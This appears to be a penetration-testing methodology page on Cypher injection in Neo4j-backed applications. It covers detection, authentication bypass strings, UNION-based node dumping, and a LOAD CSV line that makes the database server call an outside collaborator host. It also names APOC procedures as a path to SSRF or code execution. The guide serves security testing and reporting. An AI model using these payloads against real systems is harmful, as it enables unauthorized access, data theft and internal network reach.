Cypher injection (Neo4j)

When it applies

An app builds a Neo4j Cypher query by concatenating user input — a login (MATCH (u {name:'<in>', pass:'<in>'})), a search, or a filter. Like SQLi, mixing input into the query language lets you change its meaning: bypass auth, read arbitrary nodes, or pivot to SSRF/RCE via Cypher's data-loading and (mis)installed apoc procedures.

Why it works

Cypher is a query language with the same code/data confusion as SQL, plus graph-specific power: UNION across labels, LOAD CSV FROM <url> (server-side fetch = SSRF), and — if apoc is present and permissive — apoc.load.* / dbms.* that can reach the network or the OS.

Method

1. Detect. Break the string context with ' and watch for a Cypher error (Neo.ClientError..., Invalid input). Try a self-true/false pair in a filter to confirm the input reaches the query.
2. Auth bypass / logic. Close the intended clause and inject your own predicate, e.g. a login name of ' OR 1=1 RETURN u // or '}) RETURN u; // to return a user regardless of password (exact shape depends on the surrounding query — leak it first via errors).
3. Exfiltrate with UNION. Append UNION MATCH (x) RETURN x (or target specific labels/props) to dump nodes beyond the intended result — enumerate labels/keys with db.labels(), db.propertyKeys() where reachable.
4. SSRF via LOAD CSV. ... LOAD CSV FROM 'http://<your-collab>/' AS l RETURN l makes the DB server fetch your URL — internal-service reach and blind confirmation via out-of-band callback.
5. APOC (if present) → deeper SSRF/RCE. apoc.load.json('http://internal/...'), apoc.load.jdbc(...), or (badly configured) procedures that run OS/network actions. Treat any apoc.* you can call as a strong escalation lead.

Gotchas

• Leak the surrounding query first (via errors) — the right break-out (', '}, '})) depends on whether input is inside a property map, a WHERE, or a string literal.
• Comment syntax is // (to end of line) — use it to discard the rest of the app's query.
• LOAD CSV/apoc may be disabled — a blocked call is not proof of "not injectable"; the UNION/auth-bypass path can still work.
• Confirm SSRF out-of-band (web-ssrf) before claiming it; validate with reporting-triage-validation.

Verify success

Data or behavior you shouldn't get: an auth bypass returning another user, nodes from an unintended label via UNION, or an out-of-band callback proving LOAD CSV/apoc SSRF.

References

Neo4j Cypher manual (LOAD CSV, apoc); OWASP injection; CWE-943 (query-language injection). Related: web-sqli, web-ssrf, api-mongo-agg-facet-bypass.